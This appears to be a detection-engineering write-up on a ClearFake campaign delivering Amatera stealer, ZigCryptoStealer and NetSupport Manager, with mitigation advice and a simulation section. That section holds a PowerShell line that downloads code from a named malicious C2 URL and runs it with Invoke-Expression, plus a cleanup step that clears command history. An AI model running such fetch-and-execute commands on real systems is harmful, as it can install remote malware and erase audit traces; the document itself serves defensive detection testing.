ClearFake WebDAV infection chain delivers Amatera stealer, ZigCryptoStealer, and NetSupport Manager

Summary

A ClearFake-driven campaign is abusing WebDAV and Cloudflare Workers to distribute multiple malware payloads. The main payload, Amatera stealer, is designed to exfiltrate credentials and cryptocurrency-related data. Additional payloads include ZigCryptoStealer delivered through a NativeAOT loader and unauthorized NetSupport Manager instances used to establish remote access.

Investigation

Cisco Talos investigated suspicious WebDAV-based DLL execution at a Ukrainian government organization. The analysis uncovered two separate infection chains: one leveraging a pf.ch loader to deploy ZigCryptoStealer and a Go-based reverse proxy, and another using a verification.google loader to install NetSupport Manager.

Mitigation

Organizations should restrict execution from WebDAV and UNC paths and monitor for anomalous rundll32.exe behavior. Robust EDR controls should be used to detect techniques such as DLL hollowing and module stomping. Security teams should also monitor unauthorized NetSupport Manager usage and suspicious blockchain-related network activity.

Response

If malicious activity is detected, affected endpoints should be isolated immediately to prevent additional data exfiltration. Responders should perform memory forensics to identify resident malware such as Amatera. Security teams should also hunt for WebDAV-based DLL execution and unusual PowerShell activity across the environment.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre-flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands: The adversary is simulating a “ClearFake” infection chain. The goal is to deploy the NetSupport Manager remote access tool to establish persistence and remote control. To avoid signature-based detection of file downloads, the attacker uses a PowerShell “one-liner” that fetches a JavaScript/PowerShell payload from a remote C2 server (https://kr.cedar2glanz.ru/jewel.js) and executes it directly in the memory buffer using Invoke-Expression. This technique leaves a minimal disk footprint.

• Regression Test Script:

  # Simulation Script: Mimics the ClearFake infection chain payload execution
  # WARNING: This script uses the specific malicious URL defined in the detection rule to trigger an alert.
  
  $maliciousUrl = "https://kr.cedar2glanz.ru/jewel.js"
  Write-Host "[+] Simulating malicious PowerShell download and execution..." -ForegroundColor Yellow
  
  # This command mimics the exact pattern: URL + IEX/Invoke-Expression
  # We use a try/catch block because the URL is actually unreachable/dead, 
  # but the PROCESS COMMAND LINE will still be logged.
  try {
      Invoke-Expression (New-Object Net.WebClient).DownloadString($maliciousUrl)
  } catch {
      Write-Host "[!] Command executed (Network error expected, but telemetry should be generated)." -ForegroundColor Cyan
  }

• Cleanup Commands:

  # No files are created by this specific simulation as it is an in-memory execution test.
  # However, we clear the command history to remove traces from the local user session.
  Clear-History
  Write-Host "[+] Cleanup complete. No artifacts left on disk." -ForegroundColor Green